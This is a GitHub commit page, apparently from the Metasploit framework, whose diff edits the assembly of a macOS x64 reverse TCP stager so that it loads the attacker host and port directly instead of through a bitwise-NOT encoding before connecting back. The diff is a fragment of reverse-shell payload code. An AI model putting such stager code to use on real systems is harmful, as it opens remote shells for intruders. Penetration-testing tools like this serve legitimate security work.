Skip to content

Commit cf893c2

Browse files
committed
fix LHOST
1 parent e225e29 commit cf893c2

File tree

1 file changed

+1
-2
lines changed

1 file changed

+1
-2
lines changed

modules/payloads/stagers/osx/x64/reverse_tcp.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -73,8 +73,7 @@ def generate(opts = {})
7373
7474
; connect (sockfd, {AF_INET,4444,127.0.0.1}, 16);
7575
mov rdi, rax
76-
mov rax, ~0x#{encoded_host}#{encoded_port}
77-
not rax
76+
mov rax, 0x#{encoded_host}#{encoded_port}
7877
push rax
7978
push rsp
8079
pop rsi

0 commit comments

Comments
 (0)